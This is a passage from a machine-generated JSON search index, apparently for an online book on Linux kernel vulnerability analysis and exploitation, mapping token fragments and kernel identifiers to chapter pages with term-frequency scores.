hapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"e":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"r":{"docs":{},"g":{"docs":{},"e":{"docs":{},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}},"s":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"s":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0097997443544951},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0034782608695652175},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"'":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}},"_":{"docs":{},"c":{"docs":{},"p":{"docs":{},"u":{"docs":{},"t":{"docs":{},"i":{"docs":{},"m":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"d":{"docs":{},"e":{"docs":{},"l":{"docs":{},"a":{"docs":{},"y":{"docs":{},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"f":{"docs":{},"o":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"f":{"docs":{},"r":{"docs":{},"a":{"docs":{},"g":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"g":{"docs":{},"r":{"docs":{},"o":{"docs":{},"u":{"docs":{},"p":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"i":{"docs":{},"o":{"docs":{},"_":{"docs":{},"a":{"docs":{},"c":{"docs":{},"c":{"docs":{},"o":{"docs":{},"u":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"(":{"docs":{},")":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"r":{"docs":{},"s":{"docs":{},"s":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"t":{"docs":{},"e":{"docs":{},"_":{"docs":{},"c":{"docs":{},"h":{"docs":{},"a":{"docs":{},"n":{"docs":{},"g":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.005965061780997018},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.004480537664519743}},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609}}},"*":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}},":":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},"_":{"docs":{},"o":{"docs":{},"f":{"docs":{},"f":{"docs":{},"s":{"docs":{},"e":{"docs":{},"t":{"docs":{},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"_":{"docs":{},"l":{"docs":{},"e":{"docs":{},"a":{"docs":{},"k":{"docs":{},"e":{"docs":{},"d":{"docs":{},"_":{"docs":{},"d":{"docs":{},"a":{"docs":{},"t":{"docs":{},"a":{"docs":{},")":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"w":{"docs":{},"o":{"docs":{},"r":{"docs":{},"k":{"docs":{},"_":{"docs":{},"r":{"docs":{},"u":{"docs":{},"n":{"docs":{},"+":{"0":{"docs":{},"x":{"1":{"2":{"7":{"docs":{},"/":{"0":{"docs":{},"x":{"1":{"5":{"4":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}}}}}}}}}},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"i":{"docs":{},"n":{"docs":{},"t":{"docs":{},"e":{"docs":{},"d":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}}}},"l":{"docs":{},"k":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}},"e":{"docs":{},"r":{"docs":{},"m":{"docs":{},"i":{"docs":{},"n":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0017391304347826088},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032}}}}}},"l":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"m":{"docs":{},"p":{"docs":{},"o":{"docs":{},"r":{"docs":{},"a":{"docs":{},"r":{"docs":{},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"x":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"s":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"o":{"docs":{},"o":{"docs":{},"l":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}},"s":{"docs":{},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},"/":{"docs":{},"p":{"docs":{},"a":{"docs":{},"t":{"docs":{},"h":{"docs":{},"/":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"u":{"docs":{},"x":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"t":{"docs":{},"a":{"docs":{},"l":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"_":{"docs":{},"n":{"docs":{},"u":{"docs":{},"m":{"docs":{},"a":{"docs":{},"_":{"docs":{},"f":{"docs":{},"a":{"docs":{},"u":{"docs":{},"l":{"docs":{},"t":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"p":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"d":{"docs":{},"o":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"g":{"docs":{},"e":{"docs":{},"t":{"docs":{},"h":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},":":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}},"r":{"docs":{},"e":{"docs":{},"e":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.002282453637660485}},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247}}}}},"a":{"docs":{},"c":{"docs":{},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"o":{"docs":{},"v":{"docs":{},"e":{"docs":{},"r":{"docs":{},"r":{"docs":{},"u":{"docs":{},"n":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"r":{"docs":{},"e":{"docs":{},"c":{"docs":{},"u":{"docs":{},"r":{"docs":{},"s":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"r":{"docs":{},"'":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"s":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}},"_":{"docs":{},"g":{"docs":{},"r":{"docs":{},"a":{"docs":{},"p":{"docs":{},"h":{"docs":{},"_":{"docs":{},"p":{"docs":{},"a":{"docs":{},"u":{"docs":{},"s":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"n":{"docs":{},"s":{"docs":{},"f":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"i":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0025677603423680455},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.002800336040324839}},"g":{"docs":{},"g":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":5.00463768115942},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.003138373751783167},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.004480537664519743}},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"y":{"docs":{},"p":{"docs":{},"e":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.006507592190889371},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"=":{"1":{"4":{"0":{"0":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.005703422053231939}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}}}},"g":{"docs":{},"i":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0017043033659991478},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.016025641025641024},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.002282453637660485},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"_":{"docs":{},"g":{"docs":{},"r":{"docs":{},"o":{"docs":{},"u":{"docs":{},"p":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"i":{"docs":{},"n":{"docs":{},"f":{"docs":{},"o":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"n":{"docs":{},"o":{"docs":{},"d":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"t":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}},"e":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"o":{"docs":{},"t":{"docs":{},"t":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"a":{"docs":{},"t":{"docs":{},"'":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"r":{"docs":{},"d":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"s":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"e":{"docs":{},"m":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"n":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"o":{"docs":{},"s":{"docs":{},"e":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"i":{"docs":{},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"d":{"docs":{},"e":{"docs":{},"p":{"docs":{},"_":{"docs":{},"m":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}},"f":{"docs":{},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"s":{"docs":{},"t":{"docs":{},"o":{"docs":{},"r":{"docs":{},"e":{"docs":{},"_":{"docs":{},"s":{"docs":{},"i":{"docs":{},"g":{"docs":{},"m":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}},"m":{"docs":{},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0017043033659991478},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},"o":{"docs":{},"u":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"r":{"docs":{},"_":{"docs":{},"s":{"docs":{},"l":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"n":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"m":{"docs":{},"p":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},",":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}},"l":{"docs":{},"b":{"docs":{},"_":{"docs":{},"u":{"docs":{},"b":{"docs":{},"c":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"f":{"docs":{},"l":{"docs":{},"u":{"docs":{},"s":{"docs":{},"h":{"docs":{},"_":{"docs":{},"u":{"docs":{},"n":{"docs":{},"m":{"docs":{},"a":{"docs":{},"p":{"docs":{},"_":{"docs":{},"b":{"docs":{},"a":{"docs":{},"t":{"docs":{},"c":{"docs":{},"h":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}}}},"s":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"t":{"docs":{},"y":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"w":{"docs":{},"o":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}}},"/":{"7":{"6":{"8":{"2":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"c":{"docs":{},"l":{"docs":{},"a":{"docs":{},"s":{"docs":{},"s":{"docs":{},"=":{"docs":{},"d":{"docs":{},"i":{"docs":{},"r":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.005703422053231939}}}}}}}}}},"o":{"docs":{},"n":{"docs":{},"t":{"docs":{},"e":{"docs":{},"x":{"docs":{},"t":{"docs":{},"=":{"docs":{},"u":{"docs":{},":":{"docs":{},"o":{"docs":{},"b":{"docs":{},"j":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{},"_":{"docs":{},"r":{"docs":{},":":{"docs":{},"u":{"docs":{},"n":{"docs":{},"l":{"docs":{},"a":{"docs":{},"b":{"docs":{},"e":{"docs":{},"l":{"docs":{},"e":{"docs":{},"d":{"docs":{},":":{"docs":{},"s":{"0":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.005703422053231939}}},"docs":{}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"p":{"docs":{},":":{"docs":{},":":{"1":{"2":{"3":{"4":{"docs":{},".":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}},"f":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},".":{"docs":{},"f":{"docs":{},"i":{"docs":{},"l":{"docs":{},"e":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"i":{"docs":{},"l":{"docs":{},"e":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"m":{"docs":{},"p":{"docs":{},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"f":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}},"u":{"docs":{},"r":{"docs":{},"n":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"e":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"u":{"3":{"2":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0021303792074989347}}},"docs":{}},"6":{"4":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.007669365146996165}}},"docs":{}},"8":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}},"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}},"b":{"docs":{},"u":{"docs":{},"n":{"docs":{},"t":{"docs":{},"u":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}},"s":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.010845986984815618},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0051129100979974435},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.022435897435897436},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.008695652173913044},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.017110266159695818},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.011697574893009986},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.009521142537104453},"chapters/gdb-macros.html":{"ref":"chapters/gdb-macros.html","tf":0.08333333333333333}},"a":{"docs":{},"g":{"docs":{},"e":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}}},"e":{"docs":{},"d":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.002800336040324839}},"_":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"a":{"docs":{},"m":{"docs":{},"e":{"docs":{},"s":{"docs":{},"p":{"docs":{},"a":{"docs":{},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}},"w":{"docs":{},"a":{"docs":{},"t":{"docs":{},"c":{"docs":{},"h":{"docs":{},"e":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606